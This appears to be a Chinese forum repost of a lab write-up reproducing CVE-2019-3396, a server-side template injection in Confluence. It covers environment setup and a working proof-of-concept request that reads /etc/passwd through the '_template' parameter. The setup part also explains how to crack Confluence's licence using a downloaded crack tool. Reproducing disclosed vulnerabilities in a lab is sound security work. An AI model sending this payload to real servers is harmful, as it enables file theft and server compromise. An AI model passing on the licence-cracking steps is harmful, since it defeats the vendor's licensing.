CVE-2019-3396 漏洞复现

2021-04-05 20:39 浏览 2229 使用道具
## 漏洞简介
Confluence是一个专业的企业知识管理与协同软件,常用于构建企业wiki。它强大的编辑和站点管理特征能够帮助团队成员之间共享信息、文档协作、集体讨论,信息推送。Confluence Server 与 Confluence Data Center 中的 Widget Connector 存在服务端模板注入漏洞,攻击者构造特定请求可远程遍历服务器任意文件,进而可以包含恶意文件来执行代码。可能造成敏感信息泄露,服务器被控制等严重后果。
## 影响版本  
6.6.12之前所有6.6.x版本,6.12.3之前所有6.12.x版本,6.13.13之前所有6.13.x版本,6.14.2之前所有6.14.x版本。
## 环境搭建

### 搭建 Java 运行环境
sudo apt install openjdk-8-jre-headless  
java -version

### 配置 mysql 数据库  
(注:confluence目前不支持8.0版本,8.0版本的驱动为com.mysql.cj.jdbc.Driver,因此我们安装5.7版本的MySQL)  

mysql 老版本[下载地址](https://downloads.mysql.com/archives/community/)  

mkdir mysql5.7.31   mv mysql-server_5.7.31-1ubuntu18.04_amd64.deb-bundle.tar  ./mysql5.7.31/   cd mysql5.7.31/sudo tar -vxf mysql-server_5.7.31-1ubuntu18.04_amd64.deb-bundle.tar #解压文件  sudo rm -f mysql-community-test_5.7.31-1ubuntu18.04_amd64.deb    sudo rm -f mysql-testsuite_5.7.31-1ubuntu18.04_amd64.deb #删除两个测试相关的包     sudo dpkg -i mysql-\*.deb   # 用dpkg进行安装     sudo apt-get install libaio1    sudo apt-get install libtinfo5 # 安装缺少的包 sudo apt --fix-broken install    sudo dpkg -i mysql-\*.deb   # 再次dpkg进行安装

sudo service mysql stop # 停止 mysql 服务   sudo gedit /etc/mysql/mysql.conf.d/mysqld.cnf #修改MySQL的登录设置,暂时不校验登陆密码,注释掉 symbolic-links 并添加 skip-grant-tables   sudo service mysql restart # 重启 mysql 服务   mysql -u root mysql        # 免密登录mysqlupdate mysql.user set authentication_string=password('root123456') where user='root';  # 修改 root 用户的密码 flush privileges;  # 刷新生效     sudo service mysql stop # 停止 mysql 服务          sudo gedit /etc/mysql/mysql.conf.d/mysqld.cnf # 还原mysql 配置   sudo service mysql restart # 重启 mysql 服务     mysql -u root -proot123456  # 登录mysql   create database confluence default character set utf8 collate utf8_bin;   # 创建数据库       grant all on confluence.* to 'confluence'@'%' identified by 'confluence123';    # 添加 confluence 用户     grant all on confluence.* to confluence@"localhost" identified by "confluence123";    # 为 confluence 用户授权  select @@global.tx_isolation, @@tx_isolation;   set global tx_isolation='read-committed';

### 安装并破解 Confluence
选择 [6.12.2 - Linux Installer(64 bit)](https://product-downloads.atlass ... ence-6.12.2-x64.bin)  

chmod +x atlassian-confluence-6.12.2-x64.bin #修改文件权限   
./atlassian-confluence-6.12.2-x64.bin        #安装文件  

安装完成之后通过访问 虚拟机的 ip+端口8090
选择产品安装

复制出此处的服务器ID:BQFZ-7NOC-Y2SJ-AOGU     
在服务器上停止 confluence 的运行 sh /opt/atlassian/confluence/bin/stop-confluence.sh   
从服务器上拷贝出文件/opt/atlassian/confluence/confluence/WEB-INF/lib/atlassian-extras-decoder-v2-3.4.1.jar  <跟网上文章中提到的位置并不相同,可以通过在根目录下执行 find -name *.jar 来判断文件的位置>   
将拷贝的文件重命名为 atlassian-extras-2.4.jar   
下载破解工具并运行    破解工具 : 链接:https://pan.baidu.com/s/1Pi_ClXR6T4bLbJ-mPxYXtw       提取码:g3p5
将破解后的 atlassian-extras-2.4.jar 重命名为最初的名字  atlassian-extras-decoder-v2-3.4.1.jar  再拷贝至原来的位置  
同时将 [Mysql 驱动](https://mvnrepository.com/artifa ... nnector-java/5.1.48)拷贝到同级目录      
在服务器上启动 confluence 的运行 sh /opt/atlassian/confluence/bin/start-confluence.sh  
输入授权码之后  


  




~~手动操作基本白给,操作完之后发现根本没有漏洞,确实是属于漏洞范围的版本,但就是没有办法操作成功~~   
环境的搭建也可以直接通过 vulhub 来搭建

cd  /home/whippet/vulhub-master/confluence/CVE-2019-3396  sudo docker-compose up -d
申请一个注册码



数据库URL jdbc:postgresql://db:5432/confluence
用户名和密码均为  postgres



~~利用vulhub上的镜像也无法利用成功,我想应该是我的 burpsuite 存在问题~~  
最后证明是 POC 存在问题

## 漏洞验证
没有一次性的成功运行POC,所以先采用网上的POC进行一个初步的验证
点击预览,修改数据包

POST /rest/tinymce/1/macro/preview HTTP/1.1Host: 192.168.176.171:8090Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeReferer: http://192.168.176.171:8090/page ... 3&Content-Type: application/json; charset=utf-8Content-Length: 176{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"file:///etc/passwd"}}}
本文转载自安全脉搏原文链接:https://www.secpulse.com/archives/156012.html

点赞

您需要登录后才可以回帖 登录 | 账号注册
高级模式